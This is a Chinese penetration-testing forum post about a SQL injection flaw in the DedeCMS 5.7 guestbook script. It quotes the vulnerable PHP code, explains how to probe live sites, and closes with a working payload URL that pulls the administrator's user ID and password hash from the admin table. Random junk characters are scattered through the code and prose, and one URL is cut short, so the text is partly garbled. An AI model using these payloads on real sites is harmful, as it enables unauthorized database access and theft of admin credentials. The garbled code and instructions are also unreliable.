中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.75 s. w7 T& m; @# ~8 d
4 L  Y3 q& \. A" ^
漏洞文件edit.inc.php具体代码:
. B  {% b2 i+ X7 D- Y' `- P+ l- r4 L, {# N7 O8 |$ Q
< ?php  
: P/ U' h7 d3 `  _* g
: D) v! I$ w6 v2 d* R5 k9 m! ^if(!defined('DEDEINC')) exit('Request Error!');  
  t$ h- g8 c; K( v# O1 k  S% M
' H- f9 O" C9 F4 Z2 X) x( v   
2 o: E1 C3 ~+ p  K+ Z2 k
0 t. S# U$ w# ~4 I) ?0 Pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
( }  Q3 s( P! l/ P7 A. Y* \7 D: a9 t: F" O4 p& |( Q8 T8 S
else $GUEST_BOOK_POS = "guestbook.php";  
: m$ ]$ H! Q  e0 ^. O  X+ N# _& t" i$ J) G/ x" h# G
   
7 P5 e) T3 e5 z" [& m- l5 V4 j! p, ]6 I/ h
$id = intval($id);  / s! ^* j' D1 y6 i* k. P; k' T
, l! U! E+ Y$ Y: O/ u# j6 [0 J
if(empty($job)) $job='view';  & ?6 D# ?; ?. j6 |: z  ~$ \
$ A+ t+ W; A* ~0 s- p
   / D) z, i& b  D5 M# [
& U/ b$ N! Z, u- }# e
if($job=='del' && $g_isadmin)  
) u! u1 g- s) F  v& E# Y; |0 o- r2 Z- h/ Q
{    J7 D) G. Y5 l# X+ `% b
) B/ M  B# g2 b, @( n1 r4 k6 t
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
2 F; F# r1 J, p9 C! E# _( J' y$ N9 s3 l3 g7 Q5 T; j8 R& C
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  4 u1 L8 |2 r) P1 J% }3 |0 W
' S0 b5 C( D2 r6 m
exit();  
8 I+ t$ x* j# a5 d9 d2 m+ G4 R% C2 k/ t1 K' b- e# o
}  
7 [5 _8 y. b1 N6 F( u3 t9 g6 \) O! ?6 K: J, |3 l- _6 [0 G# W. p' q% Y
else if($job=='check' && $g_isadmin)  
* ?! V4 W: s- K- r) l. w2 }0 P1 U' g. p
{  
8 _% I& Z5 p) J% _" O4 X, e" E
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  ) l: K$ h* x$ w
' S9 g6 I( @2 i5 f! U6 {- J' Q0 W
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
( ^- t  ]4 o, s+ X3 b9 S* t6 J# C+ I7 R' [* l
exit();  
/ g& F: X  `4 E1 J# x& Q( y8 A% d5 ]9 W  r6 Y
}  
! H: T( h, ?* e; b, B
/ t* t( A# \' E; |else if($job=='editok')  
% h& G3 `* Y2 C- u$ U9 x. L# `0 o& W- O8 }
{  4 e7 Q4 t# f: N7 M8 i

, g, A- S- D4 ?7 Q2 _: K$remsg = trim($remsg);  
+ `% l5 X: U  h* S9 V7 k) ~6 Z* r3 ]5 B! R  C. i
if($remsg!='')  ( t, s! a2 c+ d4 b+ i

0 @/ s6 ]- H3 s6 Z: Q1 ]{  
8 [! H9 m, h1 \6 P/ @  P* b
& O& }5 q. y& n6 D- ~& w//管理员回复不过滤HTML By:Errorera blog:errs.cc  
' O2 c  J- \+ j6 I" ?4 ?+ A; b5 C8 s7 _: c
if($g_isadmin)  & }, j6 ~  Z( @1 a3 h

0 X6 p) I$ z" e* n; ^/ N1 @{  * Q. H; R* E4 b  K% }

1 K4 U' k# Y! K: c' U$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
& l6 m. E- u2 {  y/ t9 M1 W! g5 N+ O2 H
//$remsg <br /><font color=red>管理员回复:</font> }  
( d6 s1 J" U3 Z8 \* m0 f
+ j6 v, b+ B( g2 v! oelse ; S" ]  o( J4 e5 g
- }) B7 Q" r$ u
{  $ l# h; ]$ b6 {+ \* b; t

3 i! D& d8 O) y4 ^8 D0 c% S- }$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  ; T1 y. C* H9 T' q( V: y

# g3 D2 T/ r& L6 {  E$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
: {* d% k' O$ Z# x
$ Y/ j( R# y- [$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
) m" r+ u% |% A" o
! c8 g( D2 n2 r' W  e9 ^' \$msg = $oldmsg.$remsg;  
% E" {& S: w# ]
: y' G7 M0 S! Q7 h  t2 F$ F2 @}  9 h6 B+ g+ m# }6 O" y

9 s+ Q5 N; c1 k/ }6 J% }0 S/ a: n}  % L0 J1 k( |) t7 e. c8 @

: B+ @+ J! R# M- y! \+ C8 e//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
4 A5 x! K& t% g7 R5 J- {8 _/ Y" J6 w* ~
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
& f& w) B: m; G; A7 W8 V/ r: E4 s/ h7 I) ], ~
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  6 S; e* u- ?/ q* n  h! Y/ \
0 `1 d5 p9 t, n
exit();  & [" |7 a) N5 W+ H8 a

2 W3 s% z+ P8 r/ y1 y7 e# S}  5 Y# W1 F  n' i6 G* D7 ^0 p9 l
+ Z2 d8 R+ b+ J5 ]" q
//home:www.errs.cc  
: h1 L( Z, `) Q4 j5 F, Q3 d7 H4 Q' [% A; e- O& _6 w
if($g_isadmin)  8 h: ]7 f% ^  n

; A% [! _% N9 ~{  
& J% o. J; F8 S7 V+ _- |0 [/ i8 B; k; T- ?$ h" [. Q
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
8 [3 i( M/ i; Z4 ]4 T4 A1 K: F& j9 z6 s! d; o0 U# U7 R, M" d
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  0 M- A* e, Y8 m

" I, H/ W# L6 J# @  b( k' ?}  ; E9 R( S; H" ~7 S3 @6 {* K# }' X. K
4 R8 Y" J8 j6 E2 q' c+ F
else
! M- f5 E& |1 I, x
0 ]: Y9 x; f8 M; X, x& v# X{  
; n4 A9 ~0 b2 W3 `! p$ L/ Z5 `: m* o; f1 Z/ s: g* r9 W
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  8 O/ @6 D; o( ~: B; ~

3 v- g+ g! m# j7 D& ?require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
( l6 a5 E- R+ X  ?
1 y, i" n: f) d} 漏洞成功需要条件:4 k' s' x& k# y
1. php magic_quotes_gpc=off# I  Y4 Q* m0 R% |4 a! k
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。  q7 z& A: ?" C* q

5 `6 U1 C& u$ ~8 g6 F3 z& H怎么判断是否存在漏洞:
$ ]3 q% U! @: D9 ]" E8 i# w: j) k先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,9 Z6 {( v: R% h- j7 z
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
, x6 \3 w. j9 D访问:
; ?+ a1 N# |( F% y, h) h$ [3 S5 o$ T* C" l
1 F0 k0 z" O" A0 jwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
2 H" t* P8 [7 K9 g8 B1 _跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
3 `' T9 k; }8 r3 @2 w: P
9 ]" L* i4 m3 V/ K& x
9 w" J* A; p! t  M# d明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
' Y% m- q5 Z4 A: L2 q如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
) j' V  `8 S% E( N那么再次访问' _% _' I( i6 i/ z/ f# [

0 D- _' \( m9 i% O/ s, I; rwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().; C' w6 `8 y1 u' r
# ]$ f  I' L4 `, y( _" H  ?
大概利用就是这样,大家有兴趣的多研究下!!
) m) A' B" n) x) v4 Z) x
9 |% k* p) }- f$ z2 v0 H最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!6 o* Q0 ]$ `: _. e4 x% }+ l) r

& k8 e, }2 E# x, Gview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2